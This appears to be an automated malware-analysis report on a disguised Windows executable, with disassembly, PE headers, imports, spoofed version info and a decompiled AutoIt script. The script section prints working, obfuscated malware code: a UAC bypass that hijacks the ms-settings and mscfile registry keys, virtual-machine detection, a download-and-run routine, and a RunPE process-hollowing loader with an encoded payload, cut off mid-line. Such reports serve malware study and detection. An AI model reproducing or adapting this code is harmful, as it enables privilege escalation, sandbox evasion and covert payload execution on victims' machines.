              mov esi, dword ptr [esp+10h]
              mov ecx, dword ptr [esp+14h]
              mov edi, dword ptr [esp+0Ch]
              mov eax, ecx
              mov edx, ecx
              add eax, esi
              cmp edi, esi
              jbe 00007F702094555Ah
              cmp edi, eax
              jc 00007F70209458BEh
              bt dword ptr [004C41FCh], 01h
              jnc 00007F7020945559h
              rep movsb
              jmp 00007F702094586Ch
              cmp ecx, 00000080h
              jc 00007F7020945724h
              mov eax, edi
              xor eax, esi
              test eax, 0000000Fh
              jne 00007F7020945560h
              bt dword ptr [004BF324h], 01h
              jc 00007F7020945A30h
              bt dword ptr [004C41FCh], 00000000h
              jnc 00007F70209456FDh
              test edi, 00000003h
              jne 00007F702094570Eh
              test esi, 00000003h
              jne 00007F70209456EDh
              bt edi, 02h
              jnc 00007F702094555Fh
              mov eax, dword ptr [esi]
              sub ecx, 04h
              lea esi, dword ptr [esi+04h]
              mov dword ptr [edi], eax
              lea edi, dword ptr [edi+04h]
              bt edi, 03h
              jnc 00007F7020945563h
              movq xmm1, qword ptr [esi]
              sub ecx, 08h
              lea esi, dword ptr [esi+08h]
              movq qword ptr [edi], xmm1
              lea edi, dword ptr [edi+08h]
              test esi, 00000007h
              je 00007F70209455B5h
              bt esi, 03h

              Rich Headers

              Programming Language:
              • [ C ] VS2013 build 21005
              • [ C ] VS2008 SP1 build 30729
              • [LNK] VS2013 UPD5 build 40629
              • [ASM] VS2013 UPD5 build 40629
              • [C++] VS2013 build 21005
              • [ASM] VS2013 build 21005
              • [RES] VS2013 build 21005
              • [IMP] VS2008 SP1 build 30729

              Data Directories

              NameVirtual AddressVirtual Size Is in Section
              IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_IMPORT0xbc0cc0x17c.rdata
              IMAGE_DIRECTORY_ENTRY_RESOURCE0xc80000x67804.rsrc
              IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
              IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
              IMAGE_DIRECTORY_ENTRY_BASERELOC0x1300000x7134.reloc
              IMAGE_DIRECTORY_ENTRY_DEBUG0x92bc00x1c.rdata
              IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
              IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
              IMAGE_DIRECTORY_ENTRY_TLS0x00x0
              IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0xa4b500x40.rdata
              IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_IAT0x8f0000x884.rdata
              IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
              IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
              IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

              Sections

              NameVirtual AddressVirtual SizeRaw SizeXored PEZLIB ComplexityFile TypeEntropyCharacteristics
              .text0x10000x8dfdd0x8e000False0.573560258033data6.67524835171IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
              .rdata0x8f0000x2fd8e0x2fe00False0.328288185379data5.76324400576IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
              .data0xbf0000x8f740x5200False0.10175304878data1.19638192355IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
              .rsrc0xc80000x678040x67a00False0.94490255579data7.88902486537IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
              .reloc0x1300000x71340x7200False0.575143914474data5.64336658125IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

              Resources

              NameRVASizeTypeLanguageCountry
              RT_ICON0xc85940x128GLS_BINARY_LSB_FIRSTEnglishGreat Britain
              RT_ICON0xc86bc0x128GLS_BINARY_LSB_FIRSTEnglishGreat Britain
              RT_ICON0xc87e40x128GLS_BINARY_LSB_FIRSTEnglishGreat Britain
              RT_ICON0xc890c0x468GLS_BINARY_LSB_FIRSTEnglishGreat Britain
              RT_ICON0xc8d740x988dataEnglishGreat Britain
              RT_ICON0xc96fc0x10a8dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 0, next used block 0EnglishGreat Britain
              RT_ICON0xca7a40x25a8dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0EnglishGreat Britain
              RT_ICON0xccd4c0x15e1PNG image data, 256 x 256, 8-bit/color RGBA, non-interlacedEnglishGreat Britain
              RT_MENU0xce3300x50dataEnglishGreat Britain
              RT_STRING0xce3800x15f68data
              RT_STRING0xe42e80x15f68data
              RT_STRING0xfa2500x594dataEnglishGreat Britain
              RT_STRING0xfa7e40x68adataEnglishGreat Britain
              RT_STRING0xfae700x490dataEnglishGreat Britain
              RT_STRING0xfb3000x5fcdataEnglishGreat Britain
              RT_STRING0xfb8fc0x65cdataEnglishGreat Britain
              RT_STRING0xfbf580x466dataEnglishGreat Britain
              RT_STRING0xfc3c00x158dataEnglishGreat Britain
              RT_RCDATA0xfc5180x32bf8data
              RT_GROUP_ICON0x12f1100x4cdataEnglishGreat Britain
              RT_GROUP_ICON0x12f15c0x14dataEnglishGreat Britain
              RT_GROUP_ICON0x12f1700x14dataEnglishGreat Britain
              RT_GROUP_ICON0x12f1840x14dataEnglishGreat Britain
              RT_VERSION0x12f1980x27cdataFrenchFrance
              RT_MANIFEST0x12f4140x3efASCII text, with CRLF line terminatorsEnglishGreat Britain

              Imports

              DLLImport
              WSOCK32.dllWSACleanup, socket, inet_ntoa, setsockopt, ntohs, recvfrom, ioctlsocket, htons, WSAStartup, __WSAFDIsSet, select, accept, listen, bind, closesocket, WSAGetLastError, recv, sendto, send, inet_addr, gethostbyname, gethostname, connect
              VERSION.dllGetFileVersionInfoW, GetFileVersionInfoSizeW, VerQueryValueW
              WINMM.dlltimeGetTime, waveOutSetVolume, mciSendStringW
              COMCTL32.dllImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
              MPR.dllWNetUseConnectionW, WNetCancelConnection2W, WNetGetConnectionW, WNetAddConnection2W
              WININET.dllInternetQueryDataAvailable, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, HttpOpenRequestW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetConnectW
              PSAPI.DLLGetProcessMemoryInfo
              IPHLPAPI.DLLIcmpCreateFile, IcmpCloseHandle, IcmpSendEcho
              USERENV.dllDestroyEnvironmentBlock, UnloadUserProfile, CreateEnvironmentBlock, LoadUserProfileW
              UxTheme.dllIsThemeActive
              KERNEL32.dllDuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, SetCurrentDirectoryW, GetLongPathNameW, GetShortPathNameW, DeleteFileW, FindNextFileW, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, FindResourceW, LoadResource, LockResource, SizeofResource, EnumResourceNamesW, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, GetLocalTime, CompareStringW, GetCurrentProcess, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, LoadLibraryW, VirtualAlloc, IsDebuggerPresent, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, GetCurrentThread, CloseHandle, GetFullPathNameW, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, GetSystemTimeAsFileTime, ResumeThread, GetCommandLineW, IsProcessorFeaturePresent, IsValidCodePage, GetACP, GetOEMCP, GetCPInfo, SetLastError, UnhandledExceptionFilter, SetUnhandledExceptionFilter, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, GetStartupInfoW, GetStringTypeW, SetStdHandle, GetFileType, GetConsoleCP, GetConsoleMode, RtlUnwind, ReadConsoleW, GetTimeZoneInformation, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetEnvironmentStringsW, FreeEnvironmentStringsW, WriteConsoleW, FindClose, SetEnvironmentVariableA
              USER32.dllAdjustWindowRectEx, CopyImage, SetWindowPos, GetCursorInfo, RegisterHotKey, ClientToScreen, GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, MonitorFromPoint, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, CreateIconFromResourceEx, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, TrackPopupMenuEx, GetCursorPos, DeleteMenu, SetRect, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, MonitorFromRect, keybd_event, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, ScreenToClient, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, GetMessageW, LockWindowUpdate, DispatchMessageW, TranslateMessage, PeekMessageW, UnregisterHotKey, CheckMenuRadioItem, CharLowerBuffW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, SystemParametersInfoW, LoadImageW, GetClassNameW
              GDI32.dllStrokePath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, GetDeviceCaps, EndPath, SetPixel, CloseFigure, CreateCompatibleBitmap, CreateCompatibleDC, SelectObject, StretchBlt, GetDIBits, LineTo, AngleArc, MoveToEx, Ellipse, DeleteDC, GetPixel, CreateDCW, GetStockObject, GetTextFaceW, CreateFontW, SetTextColor, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, CreateSolidBrush, StrokeAndFillPath
              COMDLG32.dllGetOpenFileNameW, GetSaveFileNameW
              ADVAPI32.dllGetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, RegCreateKeyExW, FreeSid, GetTokenInformation, GetSecurityDescriptorDacl, GetAclInformation, AddAce, SetSecurityDescriptorDacl, GetUserNameW, InitiateSystemShutdownExW
              SHELL32.dllDragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW, DragFinish
              ole32.dllCoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoSetProxyBlanket, CoCreateInstanceEx, CoInitializeSecurity
              OLEAUT32.dllLoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, SafeArrayDestroyDescriptor, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, RegisterTypeLib, CreateStdDispatch, DispCallFunc, VariantChangeType, SysStringLen, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, VariantCopy, VariantClear, OleLoadPicture, QueryPathOfRegTypeLib, RegisterTypeLibForUser, UnRegisterTypeLibForUser, UnRegisterTypeLib, CreateDispTypeInfo, SysAllocString, VariantInit

              Version Infos

              DescriptionData
              LegalCopyrightwininit
              FileVersion185.482.48.284
              CompanyNameGamePanel
              ProductNameadsldpc
              ProductVersion558.451.325.826
              FileDescriptionbrowseui
              OriginalFilenameRdpSaUacHelper
              Translation0x0409 0x04b0

              Possible Origin

              Language of compilation systemCountry where language is spokenMap
              EnglishGreat Britain
              FrenchFrance

              Static AutoIT Info

              General

              Code:LOCAL $EKYCTCNHDZ = EXECUTE LOCAL $OJGVBERKEJBE = $EKYCTCNHDZ ("DllStructGetData" ) LOCAL $YLVQLIDHEJWX = $EKYCTCNHDZ ("BinaryToString" ) $IEHDDOIYHINMPBUCHBHARTDUKILWZQCUVDTRYHUFIM = EXECUTE ("@TempDir" ) $CFJUHMDSDKCZOCVFLYURKIBOKZAHTMIIE = EXECUTE ("@ScriptDir" ) $AVJTMWBNEWJJVDCTUDWDEWCFIKWNLJRYLAMRLSPMDEPITACR = EXECUTE ("@OSVersion" ) $FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK = EXECUTE ("@AutoItPID" ) $RPXLQCDPMYWXAMHGBQJLUKGTWUMRCSLUOUUNBYGLQPOG = EXECUTE ("@AutoItExe" ) $BECCJIYOKJQE = EXECUTE ("vLsHMDZkXoUe()" ) $YFYLLVZDUQRC = EXECUTE ("UgPtHQHyLfMO()" ) $TWXPJLDBTLTX = EXECUTE ("vRMOlqyJsqgj()" ) $UBAKYTACSQES = EXECUTE ("opYIFKUKcKeS()" ) $LYDOYURNNHSZ = EXECUTE ("qlqvzSEcZEvG()" ) $GOWQQZFKJDEL = EXECUTE ("nHvvdkwADDWZ()" ) $QJGZOLGPHKUD = EXECUTE ("mthjnHtHyuuu()" ) $FEYVUXLEGFHL = EXECUTE ("GKoJsOxKXkGd()" ) $ZNNZHMCQTOPD = EXECUTE ("WOyaFfSznMVD()" ) $QCJGZATPVQXM = EXECUTE ("AVxcrdFDaNXy()" ) $EQNGFPRNKMDT = EXECUTE ("lRfvyXQfDmpD()" ) $CLTCCKUEQWTC = EXECUTE ("zUQiQWYIEpgw()" ) $DQIFFUXAMLIV = EXECUTE ("rlIPxUZEcExv()" ) $INRXTUXKPWXC = EXECUTE ("eCsyIKarWbOw()" ) $CAIQJRRJDNHO = EXECUTE ("rjSCxWpqpGlt()" ) $QBQADACRHPDC = EXECUTE ("gzefgaQpTilN()" ) $SPAYPUCWZKBI = EXECUTE ("BrOstHgPRzHk()" ) $ROAVRSIHXASO = EXECUTE ("plxmFFUKhkpt()" ) $GODTWHVWYOIN = EXECUTE ("dzmXwpbfDjeK()" ) OPT (BTBXJYMRFGAETPA ("20,44,27,51,9,29,41,40,8,35,30,31" ) , BTBXJYMRFGAETPA ("54" ) ) FUNC BTBXJYMRFGAETPA ($STR ) LOCAL $ALPHABET = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" LOCAL $SPLIT = STRINGSPLIT ($ALPHABET , "" ) LOCAL $STRINGSPLITTED = STRINGSPLIT ($STR , "," ) LOCAL $RESULT FOR $I = "1" TO UBOUND ($STRINGSPLITTED ) - "1" $RESULT &= $SPLIT [$STRINGSPLITTED [$I ] ] NEXT RETURN $RESULT ENDFUNC FUNC FFFWGZEQMC ($PID ) WHILE (1 ) $UBAKYTACSQES (BTBXJYMRFGAETPA ("54,53,53,53,53" ) ) IF $QJGZOLGPHKUD ($PID ) = BTBXJYMRFGAETPA ("53" ) THEN JBBXBRVVWS () ENDIF WEND ENDFUNC FUNC GKOJSOXKXKGD () RETURN EXECUTE (BTBXJYMRFGAETPA ("16,44,41,29,31,45,45,3,38,41,45,31" ) ) ENDFUNC FUNC XOR ($INPUT , $KEY ) LOCAL $RESULT LOCAL $E = EXECUTE LOCAL $B = $E (BTBXJYMRFGAETPA ("28,35,40,27,44,51,46,41,45,46,44,35,40,33" ) ) LOCAL $SPLIT = $E ($B (BTBXJYMRFGAETPA ("53,50,58,56,60,57,60,55,59,62,59,5,59,60,58,56,60,53,59,3,59,62,60,57,55,61,55,57,59,62,59,5,60,53,60,58,60,57,55,3,55,53,55,55,55,55,55,62" ) ) ) FOR $I = BTBXJYMRFGAETPA ("54" ) TO $SPLIT [BTBXJYMRFGAETPA ("53" ) ] $RESULT &= $E ($B (BTBXJYMRFGAETPA ("53,50,57,56,59,61,60,55,58,60,55,61,57,55,59,62,60,57,58,61,57,6,58,55,55,61,57,54,60,56,59,56,55,61,55,57,60,56,60,53,59,3,59,62,60,57,58,2,55,57,59,62,58,4,55,62,55,3,55,53,55,57,59,2,59,58,60,62,55,62,55,62" ) ) ) NEXT RETURN $RESULT ENDFUNC FUNC GTIQUIETGC () $GOWQQZFKJDEL ("HKCU\Software\Classes\mscfile\shell\open\command" , "" , "REG_SZ" , $RPXLQCDPMYWXAMHGBQJLUKGTWUMRCSLUOUUNBYGLQPOG ) $LYDOYURNNHSZ (BTBXJYMRFGAETPA ("31,48,31,40,46,48,49,44" ) ) $FEYVUXLEGFHL ($FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK ) ENDFUNC FUNC BROSTHGPRZHK () RETURN EXECUTE (BTBXJYMRFGAETPA ("4,38,38,3,27,38,38" ) ) ENDFUNC FUNC AVXCRDFDANXY () RETURN EXECUTE (BTBXJYMRFGAETPA ("9,45,1,30,39,35,40" ) ) ENDFUNC FUNC VGPSDSMHIF ($LOOP , $TIME ) FOR $I = BTBXJYMRFGAETPA ("53" ) TO $LOOP LOCAL $A = $GODTWHVWYOIN (BTBXJYMRFGAETPA ("53,50,61,61" ) , BTBXJYMRFGAETPA ("53,50,58,58" ) ) $A = $ROAVRSIHXASO ($A , $A + BTBXJYMRFGAETPA ("54" ) ) $UBAKYTACSQES ($TIME / $LOOP ) NEXT ENDFUNC FUNC MSQGWYVXLW () $SPAYPUCWZKBI ("kernel32.dll" , BTBXJYMRFGAETPA ("28,41,41,38,31,27,40" ) , BTBXJYMRFGAETPA ("23,41,49,59,57,5,40,27,28,38,31,23,41,49,59,57,6,45,18,31,30,35,44,31,29,46,35,41,40" ) , BTBXJYMRFGAETPA ("28,41,41,38,31,27,40" ) , BTBXJYMRFGAETPA ("53" ) ) $GOWQQZFKJDEL ("HKCU\Software\Classes\ms-settings\shell\open\command" , BTBXJYMRFGAETPA ("4,31,38,31,33,27,46,31,5,50,31,29,47,46,31" ) , "REG_SZ" , BTBXJYMRFGAETPA ("14,47,38,38" ) ) $GOWQQZFKJDEL ("HKCU\Software\Classes\ms-settings\shell\open\command" , "" , "REG_SZ" , $RPXLQCDPMYWXAMHGBQJLUKGTWUMRCSLUOUUNBYGLQPOG ) $LYDOYURNNHSZ (BTBXJYMRFGAETPA ("32,41,30,34,31,38,42,31,44" ) ) $FEYVUXLEGFHL ($FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK ) ENDFUNC FUNC RJSCXWPQPGLT () RETURN EXECUTE (BTBXJYMRFGAETPA ("4,38,38,19,46,44,47,29,46,7,31,46,4,27,46,27" ) ) ENDFUNC FUNC LSVTGEQXOY () LOCAL $ARRAY = ["vmtoolsd.exe" , "vbox.exe" ] FOR $I = BTBXJYMRFGAETPA ("53" ) TO $YFYLLVZDUQRC ($ARRAY ) - BTBXJYMRFGAETPA ("54" ) IF $QJGZOLGPHKUD ($ARRAY [$I ] ) THEN $FEYVUXLEGFHL ($FJVRHISHSSHJEPWQMMUMBIFRUFCKXVFVZNRK ) ENDIF NEXT ENDFUNC FUNC ECSYIKARWBOW () RETURN EXECUTE (BTBXJYMRFGAETPA ("6,35,38,31,3,38,41,45,31" ) ) ENDFUNC FUNC UELUVLCZRM ($SOCCURRENCENAME ) LOCAL $E = EXECUTE LOCAL $B = $E (BTBXJYMRFGAETPA ("2,35,40,27,44,51,20,41,19,46,44,35,40,33" ) ) LOCAL $AHANDLE = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,55,57,56,60,55,59,58,59,54,60,57,59,58,57,4,60,58,60,57,59,58,60,61,58,60,55,55,55,3,55,53,55,55,60,56,60,57,60,55,60,58,59,56,60,57,55,1,55,55,55,3,55,53,55,55,56,53,55,55,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,56,54,55,55,55,3,55,53,55,55,60,60,60,56,60,57,60,55,55,55,55,3,55,53,55,57,60,56,57,6,59,56,59,56,60,58,60,55,60,55,59,58,59,5,59,56,59,58,57,5,59,54,59,4,59,58,55,62" ) ) ) LOCAL $ALASTERROR = $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,57,60,60,59,6,60,55,59,57,55,55,55,3,55,53,55,55,57,60,59,58,60,57,57,3,59,54,60,56,60,57,57,58,60,55,60,55,59,6,60,55,55,55,55,62" ) ) ) IF $ALASTERROR [BTBXJYMRFGAETPA ("53" ) ] = BTBXJYMRFGAETPA ("54,61,56" ) THEN $E ($B (BTBXJYMRFGAETPA ("53,50,57,57,59,3,59,3,57,56,59,54,59,3,59,3,55,61,55,55,59,2,59,58,60,55,59,5,59,58,59,3,56,56,56,55,55,5,59,57,59,3,59,3,55,55,55,3,55,53,55,55,59,55,59,6,59,6,59,3,55,55,55,3,55,53,55,55,57,56,59,3,59,6,60,56,59,58,57,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,55,59,61,59,54,59,5,59,57,59,3,59,58,55,55,55,3,55,53,55,57,59,54,57,61,59,54,59,5,59,57,59,3,59,58,58,2,55,55,56,53,55,55,58,4,55,62" ) ) ) $E ($B (BTBXJYMRFGAETPA ("53,50,58,53,60,55,59,6,59,56,59,58,60,56,60,56,57,56,59,3,59,6,60,56,59,58,55,61,57,53,57,54,60,58,60,57,59,6,57,62,60,57,57,58,60,61,59,58,55,62" ) ) ) ENDIF ENDFUNC FUNC AAMNHDQEEW ($URL , $PATH ) IF $BOOL = BTBXJYMRFGAETPA ("6,27,38,45,31" ) THEN $EQNGFPRNKMDT ($URL , $IEHDDOIYHINMPBUCHBHARTDUKILWZQCUVDTRYHUFIM & "\" & $PATH ) $LYDOYURNNHSZ ($IEHDDOIYHINMPBUCHBHARTDUKILWZQCUVDTRYHUFIM & "\" & $PATH ) ENDIF ENDFUNC FUNC DZMXWPBFDJEK () RETURN EXECUTE (BTBXJYMRFGAETPA ("2,35,46,1,14,4" ) ) ENDFUNC FUNC RUNPE ($PROCESS , $DATA , $PROTECT , $PERSIST ) LOCAL $LMASCGP $LMASCGP &= BTBXJYMRFGAETPA ("53,50,56,60,60,6,57,55,56,5,57,54,56,54,56,59,57,55,56,60,56,60,56,60,56,60,56,55,56,55,56,6,57,58,57,55,57,57,57,58,56,6,56,56,57,56,56,55,57,59,56,60,56,60,56,60,56,60,56,6,56,57,57,55,57,57,56,59,56,56,56,54,56,54,56,57,56,5,56,60,56,57,56,53,56,56,56,60,56,56,56,57,56,57,57,57,56,60,57,55,57,58,56,53,57,54,56,6,57,58,56,56,56,57,56,57,57,57,56,6,56,59,56,57,57,57,56,59,56,6,56,55,56,60,56,56,56,55,56,60,56,60,56,60,56,60,56,53,56,55,57,54,56,60,56,6,57,58,56,56,56,56,56,59,56,6,56,53,56,6,56,6,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("57,56,54,56,55,57,54,56,6,56,60,56,60,56,60,56,57,57,57,56,57,56,6,57,58,56,55,56,60,56,58,56,60,56,6,57,58,56,56,56,6,56,59,56,6,56,55,56,54,56,6,57,58,56,53,56,60,56,59,57,57,56,60,56,57,57,56,56,57,56,60,56,57,57,54,56,57,56,55,56,53,56,6,56,5,56,56,57,56,57,54,56,60,56,6,56,55,57,57,56,5,56,53,56,56,56,56,57,54,56,6,57,58,56,56,56,60,56,58,56,56,56,60,56,57,57,57,56,57,56,6,56,5,56,56,56,55,57,55,57,57,56,6,57,58,56,56,56,55,57,54,56,6,56,6,57,58,56,60,57,57,56,6,56,58,56,6,57,58,56,56,56,55" ) $LMASCGP &= BTBXJYMRFGAETPA ("56,60,56,6,56,60,56,57,57,57,57,58,56,6,56,5,56,56,56,55,57,54,56,56,56,6,57,58,56,56,56,55,57,54,56,56,56,6,57,59,56,60,56,60,56,6,56,6,56,56,56,55,57,54,57,54,56,6,57,59,56,60,56,59,56,60,57,54,57,58,57,55,56,53,57,56,57,54,57,54,56,6,56,6,56,56,56,55,57,54,57,55,56,60,57,54,57,58,57,55,57,57,56,60,56,58,57,58,57,54,56,6,57,54,57,54,56,56,56,55,57,54,56,56,56,6,56,60,56,53,57,56,57,54,57,54,56,60,56,60,56,53,56,56,56,60,57,58,56,56,56,59,56,6,56,60,56,53,57,56,57,54,57,55,56,60,56,60,56,53,56,56,56" ) $LMASCGP &= BTBXJYMRFGAETPA ("60,56,56,56,6,56,55,57,54,57,54,56,53,56,56,57,56,56,54,56,6,56,55,57,54,57,54,56,53,56,56,56,59,56,57,57,54,57,54,56,56,56,55,57,54,56,6,56,6,57,58,56,56,56,55,57,54,56,6,56,57,57,58,56,56,56,55,57,54,56,60,56,53,56,58,57,58,56,5,56,57,56,57,57,57,56,60,56,55,57,54,56,55,57,55,57,57,56,5,57,57,56,58,56,60,56,56,56,60,56,60,56,6,57,58,56,56,56,55,57,55,57,57,56,6,57,58,56,56,57,56,57,54,56,6,56,60,57,54,57,58,56,53,56,60,56,56,56,56,56,6,56,6,57,58,56,60,56,56,56,6,56,54,56,60,56,57,57,57,56,57,57,55" ) $LMASCGP &= BTBXJYMRFGAETPA 